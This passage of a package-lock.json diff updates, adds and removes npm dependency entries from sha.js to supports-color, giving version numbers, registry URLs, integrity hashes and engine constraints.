"to-buffer": "^1.2.0" }, "bin": { "sha.js": "bin.js" + }, + "engines": { + "node": ">= 0.10" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" } }, + "node_modules/sha.js/node_modules/safe-buffer": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", + "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT" + }, "node_modules/shallow-clone": { "version": "3.0.1", "resolved": "https://registry.npmjs.org/shallow-clone/-/shallow-clone-3.0.1.tgz", @@ -16204,64 +13907,83 @@ } }, "node_modules/side-channel": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.0.4.tgz", - "integrity": "sha512-q5XPytqFEIKHkGdiMIrY10mvLRvnQh42/+GoBlFW3b2LXLE2xxJpZFdm94we0BaoV3RwJyGqg5wS7epxTv0Zvw==", + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.1.0.tgz", + "integrity": "sha512-ZX99e6tRweoUXqR+VBrslhda51Nh5MTQwou5tnUDgbtyM0dBgmhEDtWGP/xbKn6hqfPRHujUNwz5fy/wbbhnpw==", + "license": "MIT", "dependencies": { - "call-bind": "^1.0.0", - "get-intrinsic": "^1.0.2", - "object-inspect": "^1.9.0" + "es-errors": "^1.3.0", + "object-inspect": "^1.13.3", + "side-channel-list": "^1.0.0", + "side-channel-map": "^1.0.1", + "side-channel-weakmap": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" }, "funding": { "url": "https://github.com/sponsors/ljharb" } }, - "node_modules/signal-exit": { - "version": "3.0.7", - "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.7.tgz", - "integrity": "sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==", - "dev": true + "node_modules/side-channel-list": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/side-channel-list/-/side-channel-list-1.0.0.tgz", + "integrity": "sha512-FCLHtRD/gnpCiCHEiJLOwdmFP+wzCmDEkc9y7NsYxeF4u7Btsn1ZuwgwJGxImImHicJArLP4R0yX4c2KCrMrTA==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "object-inspect": "^1.13.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } }, - "node_modules/simple-concat": { + "node_modules/side-channel-map": { "version": "1.0.1", - "resolved": "https://registry.npmjs.org/simple-concat/-/simple-concat-1.0.1.tgz", - "integrity": "sha512-cSFtAPtRhljv69IK0hTVZQ+OfE9nePi/rtJmw5UjHeVyVroEqJXP1sFztKUy1qU+xvz3u/sfYJLa947b7nAN2Q==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/feross" - }, - { - "type": "patreon", - "url": "https://www.patreon.com/feross" - }, - { - "type": "consulting", - "url": "https://feross.org/support" - } - ] - }, - "node_modules/simple-get": { - "version": "2.8.2", - "resolved": "https://registry.npmjs.org/simple-get/-/simple-get-2.8.2.tgz", - "integrity": "sha512-Ijd/rV5o+mSBBs4F/x9oDPtTx9Zb6X9brmnXvMW4J7IR15ngi9q5xxqWBKU744jTZiaXtxaPL7uHG6vtN8kUkw==", + "resolved": "https://registry.npmjs.org/side-channel-map/-/side-channel-map-1.0.1.tgz", + "integrity": "sha512-VCjCNfgMsby3tTdo02nbjtM/ewra6jPHmpThenkTYh8pG9ucZ/1P8So4u4FGBek/BjpOVsDCMoLA/iuBKIFXRA==", + "license": "MIT", "dependencies": { - "decompress-response": "^3.3.0", - "once": "^1.3.1", - "simple-concat": "^1.0.0" + "call-bound": "^1.0.2", + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.5", + "object-inspect": "^1.13.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" } }, - "node_modules/simple-get/node_modules/decompress-response": { - "version": "3.3.0", - "resolved": "https://registry.npmjs.org/decompress-response/-/decompress-response-3.3.0.tgz", - "integrity": "sha512-BzRPQuY1ip+qDonAOz42gRm/pg9F768C+npV/4JOsxRC2sq+Rlk+Q4ZCAsOhnIaMrgarILY+RMUIvMmmX1qAEA==", + "node_modules/side-channel-weakmap": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/side-channel-weakmap/-/side-channel-weakmap-1.0.2.tgz", + "integrity": "sha512-WPS/HvHQTYnHisLo9McqBHOJk2FkHO/tlpvldyrnem4aeQp4hai3gythswg6p01oSoTl58rcpiFAjF2br2Ak2A==", + "license": "MIT", "dependencies": { - "mimic-response": "^1.0.0" + "call-bound": "^1.0.2", + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.5", + "object-inspect": "^1.13.3", + "side-channel-map": "^1.0.1" }, "engines": { - "node": ">=4" + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" } }, + "node_modules/signal-exit": { + "version": "3.0.7", + "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.7.tgz", + "integrity": "sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==", + "dev": true + }, "node_modules/sisteransi": { "version": "1.0.5", "resolved": "https://registry.npmjs.org/sisteransi/-/sisteransi-1.0.5.tgz", @@ -16274,51 +13996,7 @@ "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==", "dev": true, "engines": { - "node": ">=8" - } - }, - "node_modules/smart-buffer": { - "version": "4.2.0", - "resolved": "https://registry.npmjs.org/smart-buffer/-/smart-buffer-4.2.0.tgz", - "integrity": "sha512-94hK0Hh8rPqQl2xXc3HsaBoOXKV20MToPkcXvwbISWLEs+64sBq5kFgn2kJDHb1Pry9yrP0dxrCI9RRci7RXKg==", - "dev": true, - "optional": true, - "peer": true, - "engines": { - "node": ">= 6.0.0", - "npm": ">= 3.0.0" - } - }, - "node_modules/socks": { - "version": "2.6.1", - "resolved": "https://registry.npmjs.org/socks/-/socks-2.6.1.tgz", - "integrity": "sha512-kLQ9N5ucj8uIcxrDwjm0Jsqk06xdpBjGNQtpXy4Q8/QY2k+fY7nZH8CARy+hkbG+SGAovmzzuauCpBlb8FrnBA==", - "dev": true, - "optional": true, - "peer": true, - "dependencies": { - "ip": "^1.1.5", - "smart-buffer": "^4.1.0" - }, - "engines": { - "node": ">= 10.13.0", - "npm": ">= 3.0.0" - } - }, - "node_modules/socks-proxy-agent": { - "version": "6.1.1", - "resolved": "https://registry.npmjs.org/socks-proxy-agent/-/socks-proxy-agent-6.1.1.tgz", - "integrity": "sha512-t8J0kG3csjA4g6FTbsMOWws+7R7vuRC8aQ/wy3/1OWmsgwA68zs/+cExQ0koSitUDXqhufF/YJr9wtNMZHw5Ew==", - "dev": true, - "optional": true, - "peer": true, - "dependencies": { - "agent-base": "^6.0.2", - "debug": "^4.3.1", - "socks": "^2.6.1" - }, - "engines": { - "node": ">= 10" + "node": ">=8" } }, "node_modules/source-map": { @@ -16331,64 +14009,24 @@ } }, "node_modules/source-map-js": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.0.2.tgz", - "integrity": "sha512-R0XvVJ9WusLiqTCEiGCmICCMplcCkIwwR11mOSD9CR5u+IXYdiseeEuXCVAjS54zqwkLcPNnmU4OeJ6tUrWhDw==", - "dev": true, + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.1.tgz", + "integrity": "sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==", "engines": { "node": ">=0.10.0" } }, "node_modules/source-map-support": { - "version": "0.5.20", - "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.20.tgz", - "integrity": "sha512-n1lZZ8Ve4ksRqizaBQgxXDgKwttHDhyfQjA6YZZn8+AroHbsIz+JjwxQDxbp+7y5OYCI8t1Yk7etjD9CRd2hIw==", + "version": "0.5.21", + "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.21.tgz", + "integrity": "sha512-uBHU3L3czsIyYXKX88fdrGovxdSCoTGDRZ6SYXtSRxLZUzHg5P/66Ht6uoUlHu9EZod+inXhKo3qQgwXUT/y1w==", "dev": true, + "license": "MIT", "dependencies": { "buffer-from": "^1.0.0", "source-map": "^0.6.0" } }, - "node_modules/spdx-correct": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/spdx-correct/-/spdx-correct-3.1.1.tgz", - "integrity": "sha512-cOYcUWwhCuHCXi49RhFRCyJEK3iPj1Ziz9DpViV3tbZOwXD49QzIN3MpOLJNxh2qwq2lJJZaKMVw9qNi4jTC0w==", - "dev": true, - "optional": true, - "peer": true, - "dependencies": { - "spdx-expression-parse": "^3.0.0", - "spdx-license-ids": "^3.0.0" - } - }, - "node_modules/spdx-exceptions": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/spdx-exceptions/-/spdx-exceptions-2.3.0.tgz", - "integrity": "sha512-/tTrYOC7PPI1nUAgx34hUpqXuyJG+DTHJTnIULG4rDygi4xu/tfgmq1e1cIRwRzwZgo4NLySi+ricLkZkw4i5A==", - "dev": true, - "optional": true, - "peer": true - }, - "node_modules/spdx-expression-parse": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/spdx-expression-parse/-/spdx-expression-parse-3.0.1.tgz", - "integrity": "sha512-cbqHunsQWnJNE6KhVSMsMeH5H/L9EpymbzqTQ3uLwNCLZ1Q481oWaofqH7nO6V07xlXwY6PhQdQ2IedWx/ZK4Q==", - "dev": true, - "optional": true, - "peer": true, - "dependencies": { - "spdx-exceptions": "^2.1.0", - "spdx-license-ids": "^3.0.0" - } - }, - "node_modules/spdx-license-ids": { - "version": "3.0.10", - "resolved": "https://registry.npmjs.org/spdx-license-ids/-/spdx-license-ids-3.0.10.tgz", - "integrity": "sha512-oie3/+gKf7QtpitB0LYLETe+k8SifzsX4KixvpOsbI6S0kRiRQ5MKOio8eMSAKQ17N06+wdEOXRiId+zOxo0hA==", - "dev": true, - "optional": true, - "peer": true - }, "node_modules/split-on-first": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/split-on-first/-/split-on-first-1.1.0.tgz", @@ -16427,32 +14065,12 @@ "node": ">=0.10.0" } }, - "node_modules/ssri": { - "version": "8.0.1", - "resolved": "https://registry.npmjs.org/ssri/-/ssri-8.0.1.tgz", - "integrity": "sha512-97qShzy1AiyxvPNIkLWoGua7xoQzzPjQ0HAH4B0rWKo7SZ6USuPcrUiAFrws0UH8RrbWmgq3LMTObhPIHbbBeQ==", - "dev": true, - "optional": true, - "peer": true, - "dependencies": { - "minipass": "^3.1.1" - }, - "engines": { - "node": ">= 8" - } - }, - "node_modules/stable": { - "version": "0.1.8", - "resolved": "https://registry.npmjs.org/stable/-/stable-0.1.8.tgz", - "integrity": "sha512-ji9qxRnOVfcuLDySj9qzhGSEFVobyt1kIOSkj1qZzYLzq7Tos/oUUWvotUPQLlrsidqsK6tBH89Bc9kL5zHA6w==", - "deprecated": "Modern JS already guarantees Array#sort() is a stable sort, so this library is deprecated. See the compatibility table on MDN: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/sort#browser_compatibility", - "dev": true - }, "node_modules/stack-utils": { - "version": "2.0.5", - "resolved": "https://registry.npmjs.org/stack-utils/-/stack-utils-2.0.5.tgz", - "integrity": "sha512-xrQcmYhOsn/1kX+Vraq+7j4oE2j/6BFscZ0etmYg81xuM8Gq0022Pxb8+IqgOFUIaxHs0KaSb7T1+OegiNrNFA==", + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/stack-utils/-/stack-utils-2.0.6.tgz", + "integrity": "sha512-XlkWvfIm6RmsWtNJx+uqtKLS8eqFbxUg0ZzLXqY0caEy9l7hruX8IpiDnjsLavoBgqCCR71TqWO8MaXYheJ3RQ==", "dev": true, + "license": "MIT", "dependencies": { "escape-string-regexp": "^2.0.0" }, @@ -16469,51 +14087,18 @@ "node": ">=8" } }, - "node_modules/statuses": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/statuses/-/statuses-2.0.1.tgz", - "integrity": "sha512-RwNA9Z/7PrK06rYLIzFMlaF+l73iwpzsqRIFgbMLbTcLD6cOao82TaWefPXQvB2fOC4AjuYSEndS7N/mTCbkdQ==", - "engines": { - "node": ">= 0.8" - } - }, - "node_modules/stdout-stream": { - "version": "1.4.1", - "resolved": "https://registry.npmjs.org/stdout-stream/-/stdout-stream-1.4.1.tgz", - "integrity": "sha512-j4emi03KXqJWcIeF8eIXkjMFN1Cmb8gUlDYGeBALLPo5qdyTfA9bOtl8m33lRoC+vFMkP3gl0WsDr6+gzxbbTA==", - "dev": true, - "optional": true, - "peer": true, - "dependencies": { - "readable-stream": "^2.0.1" - } - }, - "node_modules/stdout-stream/node_modules/readable-stream": { - "version": "2.3.7", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz", - "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==", - "dev": true, - "optional": true, - "peer": true, - "dependencies": { - "core-util-is": "~1.0.0", - "inherits": "~2.0.3", - "isarray": "~1.0.0", - "process-nextick-args": "~2.0.0", - "safe-buffer": "~5.1.1", - "string_decoder": "~1.1.1", - "util-deprecate": "~1.0.1" - } - }, - "node_modules/stdout-stream/node_modules/string_decoder": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", - "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", + "node_modules/stop-iteration-iterator": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/stop-iteration-iterator/-/stop-iteration-iterator-1.1.0.tgz", + "integrity": "sha512-eLoXW/DHyl62zxY4SCaIgnRhuMr6ri4juEYARS8E6sCEqzKpOiE521Ucofdx+KnDZl5xmvGYaaKCk5FEOxJCoQ==", "dev": true, - "optional": true, - "peer": true, + "license": "MIT", "dependencies": { - "safe-buffer": "~5.1.0" + "es-errors": "^1.3.0", + "internal-slot": "^1.1.0" + }, + "engines": { + "node": ">= 0.4" } }, "node_modules/stream-browserify": { @@ -16536,14 +14121,6 @@ "xtend": "^4.0.2" } }, - "node_modules/strict-uri-encode": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/strict-uri-encode/-/strict-uri-encode-1.1.0.tgz", - "integrity": "sha512-R3f198pcvnB+5IpnBlRkphuE9n46WyVl8I39W/ZUTZLz4nqSP/oLYUrcnJrw462Ds8he4YKMov2efsTIw1BDGQ==", - "engines": { - "node": ">=0.10.0" - } - }, "node_modules/string_decoder": { "version": "1.3.0", "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", @@ -16598,25 +14175,59 @@ "node": ">=8" } }, + "node_modules/string.prototype.trim": { + "version": "1.2.10", + "resolved": "https://registry.npmjs.org/string.prototype.trim/-/string.prototype.trim-1.2.10.tgz", + "integrity": "sha512-Rs66F0P/1kedk5lyYyH9uBzuiI/kNRmwJAR9quK6VOtIpZ2G+hMZd+HQbbv25MgCA6gEffoMZYxlTod4WcdrKA==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.8", + "call-bound": "^1.0.2", + "define-data-property": "^1.1.4", + "define-properties": "^1.2.1", + "es-abstract": "^1.23.5", + "es-object-atoms": "^1.0.0", + "has-property-descriptors": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, "node_modules/string.prototype.trimend": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/string.prototype.trimend/-/string.prototype.trimend-1.0.4.tgz", - "integrity": "sha512-y9xCjw1P23Awk8EvTpcyL2NIr1j7wJ39f+k6lvRnSMz+mz9CGz9NYPelDk42kOz6+ql8xjfK8oYzy3jAP5QU5A==", + "version": "1.0.9", + "resolved": "https://registry.npmjs.org/string.prototype.trimend/-/string.prototype.trimend-1.0.9.tgz", + "integrity": "sha512-G7Ok5C6E/j4SGfyLCloXTrngQIQU3PWtXGst3yM7Bea9FRURf1S42ZHlZZtsNque2FN2PoUhfZXYLNWwEr4dLQ==", + "dev": true, + "license": "MIT", "dependencies": { - "call-bind": "^1.0.2", - "define-properties": "^1.1.3" + "call-bind": "^1.0.8", + "call-bound": "^1.0.2", + "define-properties": "^1.2.1", + "es-object-atoms": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" }, "funding": { "url": "https://github.com/sponsors/ljharb" } }, "node_modules/string.prototype.trimstart": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/string.prototype.trimstart/-/string.prototype.trimstart-1.0.4.tgz", - "integrity": "sha512-jh6e984OBfvxS50tdY2nRZnoC5/mLFKOREQfw8t5yytkoUsJRNxvI/E39qu1sD0OtWI3OC0XgKSmcWwziwYuZw==", + "version": "1.0.8", + "resolved": "https://registry.npmjs.org/string.prototype.trimstart/-/string.prototype.trimstart-1.0.8.tgz", + "integrity": "sha512-UXSH262CSZY1tfu3G3Secr6uGLCFVPMhIqHjlgCUtCCcgihYc/xKs9djMTMUOb2j1mVSeU8EU6NWc/iQKU6Gfg==", + "dev": true, "dependencies": { - "call-bind": "^1.0.2", - "define-properties": "^1.1.3" + "call-bind": "^1.0.7", + "define-properties": "^1.2.1", + "es-object-atoms": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" }, "funding": { "url": "https://github.com/sponsors/ljharb" @@ -16664,20 +14275,6 @@ "npm": ">=3" } }, - "node_modules/strip-indent": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/strip-indent/-/strip-indent-3.0.0.tgz", - "integrity": "sha512-laJTa3Jb+VQpaC6DseHhF7dXVqHTfJPCRDaEbid/drOhgitgYku/letMUqOXFoWV0zIIUbjpdH2t+tYj4bQMRQ==", - "dev": true, - "optional": true, - "peer": true, - "dependencies": { - "min-indent": "^1.0.0" - }, - "engines": { - "node": ">=8" - } - }, "node_modules/strip-json-comments": { "version": "3.1.1", "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-3.1.1.tgz", @@ -16691,19 +14288,19 @@ } }, "node_modules/style-loader": { - "version": "3.3.1", - "resolved": "https://registry.npmjs.org/style-loader/-/style-loader-3.3.1.tgz", - "integrity": "sha512-GPcQ+LDJbrcxHORTRes6Jy2sfvK2kS6hpSfI/fXhPt+spVzxF6LJ1dHLN9zIGmVaaP044YKaIatFaufENRiDoQ==", + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/style-loader/-/style-loader-4.0.0.tgz", + "integrity": "sha512-1V4WqhhZZgjVAVJyt7TdDPZoPBPNHbekX4fWnCJL1yQukhCeZhJySUL+gL9y6sNdN95uEOS83Y55SqHcP7MzLA==", "dev": true, "engines": { - "node": ">= 12.13.0" + "node": ">= 18.12.0" }, "funding": { "type": "opencollective", "url": "https://opencollective.com/webpack" }, "peerDependencies": { - "webpack": "^5.0.0" + "webpack": "^5.27.0" } }, "node_modules/styled-components": { @@ -16724,291 +14321,98 @@ }, "engines": { "node": ">=10" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/styled-components" - }, - "peerDependencies": { - "react": ">= 16.8.0", - "react-dom": ">= 16.8.0", - "react-is": ">= 16.8.0" - } - }, - "node_modules/stylehacks": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/stylehacks/-/stylehacks-5.1.0.tgz", - "integrity": "sha512-SzLmvHQTrIWfSgljkQCw2++C9+Ne91d/6Sp92I8c5uHTcy/PgeHamwITIbBW9wnFTY/3ZfSXR9HIL6Ikqmcu6Q==", - "dev": true, - "dependencies": { - "browserslist": "^4.16.6", - "postcss-selector-parser": "^6.0.4" - }, - "engines": { - "node": "^10 || ^12 || >=14.0" - }, - "peerDependencies": { - "postcss": "^8.2.15" - } - }, - "node_modules/supports-color": { - "version": "5.5.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz", - "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", - "dependencies": { - "has-flag": "^3.0.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/supports-hyperlinks": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/supports-hyperlinks/-/supports-hyperlinks-2.2.0.tgz", - "integrity": "sha512-6sXEzV5+I5j8Bmq9/vUphGRM/RJNT9SCURJLjwfOg51heRtguGWDzcaBlgAzKhQa0EVNpPEKzQuBwZ8S8WaCeQ==", - "dev": true, - "dependencies": { - "has-flag": "^4.0.0", - "supports-color": "^7.0.0" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/supports-hyperlinks/node_modules/has-flag": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", - "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", - "dev": true, - "engines": { - "node": ">=8" - } - }, - "node_modules/supports-hyperlinks/node_modules/supports-color": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", - "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", - "dev": true, - "dependencies": { - "has-flag": "^4.0.0" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/supports-preserve-symlinks-flag": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz", - "integrity": "sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==", - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/svgo": { - "version": "2.8.0", - "resolved": "https://registry.npmjs.org/svgo/-/svgo-2.8.0.tgz", - "integrity": "sha512-+N/Q9kV1+F+UeWYoSiULYo4xYSDQlTgb+ayMobAXPwMnLvop7oxKMo9OzIrX5x3eS4L4f2UHhc9axXwY8DpChg==", - "dev": true, - "dependencies": { - "@trysound/sax": "0.2.0", - "commander": "^7.2.0", - "css-select": "^4.1.3", - "css-tree": "^1.1.3", - "csso": "^4.2.0", - "picocolors": "^1.0.0", - "stable": "^0.1.8" - }, - "bin": { - "svgo": "bin/svgo" - }, - "engines": { - "node": ">=10.13.0" - } - }, - "node_modules/swarm-js": { - "version": "0.1.40", - "resolved": "https://registry.npmjs.org/swarm-js/-/swarm-js-0.1.40.tgz", - "integrity": "sha512-yqiOCEoA4/IShXkY3WKwP5PvZhmoOOD8clsKA7EEcRILMkTEYHCQ21HDCAcVpmIxZq4LyZvWeRJ6quIyHk1caA==", - "dependencies": { - "bluebird": "^3.5.0", - "buffer": "^5.0.5", - "eth-lib": "^0.1.26", - "fs-extra": "^4.0.2", - "got": "^7.1.0", - "mime-types": "^2.1.16", - "mkdirp-promise": "^5.0.1", - "mock-fs": "^4.1.0", - "setimmediate": "^1.0.5", - "tar": "^4.0.2", - "xhr-request": "^1.0.1" - } - }, - "node_modules/swarm-js/node_modules/chownr": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/chownr/-/chownr-1.1.4.tgz", - "integrity": "sha512-jJ0bqzaylmJtVnNgzTeSOs8DPavpbYgEr/b0YL8/2GO3xJEhInFmhKMUnEJQjZumK7KXGFhUy89PrsJWlakBVg==" - }, - "node_modules/swarm-js/node_modules/decompress-response": { - "version": "3.3.0", - "resolved": "https://registry.npmjs.org/decompress-response/-/decompress-response-3.3.0.tgz", - "integrity": "sha512-BzRPQuY1ip+qDonAOz42gRm/pg9F768C+npV/4JOsxRC2sq+Rlk+Q4ZCAsOhnIaMrgarILY+RMUIvMmmX1qAEA==", - "dependencies": { - "mimic-response": "^1.0.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/swarm-js/node_modules/fs-minipass": { - "version": "1.2.7", - "resolved": "https://registry.npmjs.org/fs-minipass/-/fs-minipass-1.2.7.tgz", - "integrity": "sha512-GWSSJGFy4e9GUeCcbIkED+bgAoFyj7XF1mV8rma3QW4NIqX9Kyx79N/PF61H5udOV3aY1IaMLs6pGbH71nlCTA==", - "dependencies": { - "minipass": "^2.6.0" - } - }, - "node_modules/swarm-js/node_modules/get-stream": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-3.0.0.tgz", - "integrity": "sha512-GlhdIUuVakc8SJ6kK0zAFbiGzRFzNnY4jUuEbV9UROo4Y+0Ny4fjvcZFVTeDA4odpFyOQzaw6hXukJSq/f28sQ==", - "engines": { - "node": ">=4" - } - }, - "node_modules/swarm-js/node_modules/got": { - "version": "7.1.0", - "resolved": "https://registry.npmjs.org/got/-/got-7.1.0.tgz", - "integrity": "sha512-Y5WMo7xKKq1muPsxD+KmrR8DH5auG7fBdDVueZwETwV6VytKyU9OX/ddpq2/1hp1vIPvVb4T81dKQz3BivkNLw==", - "dependencies": { - "decompress-response": "^3.2.0", - "duplexer3": "^0.1.4", - "get-stream": "^3.0.0", - "is-plain-obj": "^1.1.0", - "is-retry-allowed": "^1.0.0", - "is-stream": "^1.0.0", - "isurl": "^1.0.0-alpha5", - "lowercase-keys": "^1.0.0", - "p-cancelable": "^0.3.0", - "p-timeout": "^1.1.1", - "safe-buffer": "^5.0.1", - "timed-out": "^4.0.0", - "url-parse-lax": "^1.0.0", - "url-to-options": "^1.0.1" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/swarm-js/node_modules/is-stream": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-1.1.0.tgz", - "integrity": "sha512-uQPm8kcs47jx38atAcWTVxyltQYoPT68y9aWYdV6yWXSyW8mzSat0TL6CiWdZeCdF3KrAvpVtnHbTv4RN+rqdQ==", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/swarm-js/node_modules/lowercase-keys": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/lowercase-keys/-/lowercase-keys-1.0.1.tgz", - "integrity": "sha512-G2Lj61tXDnVFFOi8VZds+SoQjtQC3dgokKdDG2mTm1tx4m50NUHBOZSBwQQHyy0V12A0JTG4icfZQH+xPyh8VA==", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/swarm-js/node_modules/minipass": { - "version": "2.9.0", - "resolved": "https://registry.npmjs.org/minipass/-/minipass-2.9.0.tgz", - "integrity": "sha512-wxfUjg9WebH+CUDX/CdbRlh5SmfZiy/hpkxaRI16Y9W56Pa75sWgd/rvFilSgrauD9NyFymP/+JFV3KwzIsJeg==", - "dependencies": { - "safe-buffer": "^5.1.2", - "yallist": "^3.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/styled-components" + }, + "peerDependencies": { + "react": ">= 16.8.0", + "react-dom": ">= 16.8.0", + "react-is": ">= 16.8.0" } }, - "node_modules/swarm-js/node_modules/minizlib": { - "version": "1.3.3", - "resolved": "https://registry.npmjs.org/minizlib/-/minizlib-1.3.3.tgz", - "integrity": "sha512-6ZYMOEnmVsdCeTJVE0W9ZD+pVnE8h9Hma/iOwwRDsdQoePpoX56/8B6z3P9VNwppJuBKNRuFDRNRqRWexT9G9Q==", + "node_modules/stylehacks": { + "version": "7.0.4", + "resolved": "https://registry.npmjs.org/stylehacks/-/stylehacks-7.0.4.tgz", + "integrity": "sha512-i4zfNrGMt9SB4xRK9L83rlsFCgdGANfeDAYacO1pkqcE7cRHPdWHwnKZVz7WY17Veq/FvyYsRAU++Ga+qDFIww==", + "dev": true, + "license": "MIT", "dependencies": { - "minipass": "^2.9.0" + "browserslist": "^4.23.3", + "postcss-selector-parser": "^6.1.2" + }, + "engines": { + "node": "^18.12.0 || ^20.9.0 || >=22.0" + }, + "peerDependencies": { + "postcss": "^8.4.31" } }, - "node_modules/swarm-js/node_modules/mkdirp": { - "version": "0.5.6", - "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.6.tgz", - "integrity": "sha512-FP+p8RB8OWpF3YZBCrP5gtADmtXApB5AMLn+vdyA+PyxCjrCs00mjyUozssO33cwDeT3wNGdLxJ5M//YqtHAJw==", + "node_modules/supports-color": { + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz", + "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", "dependencies": { - "minimist": 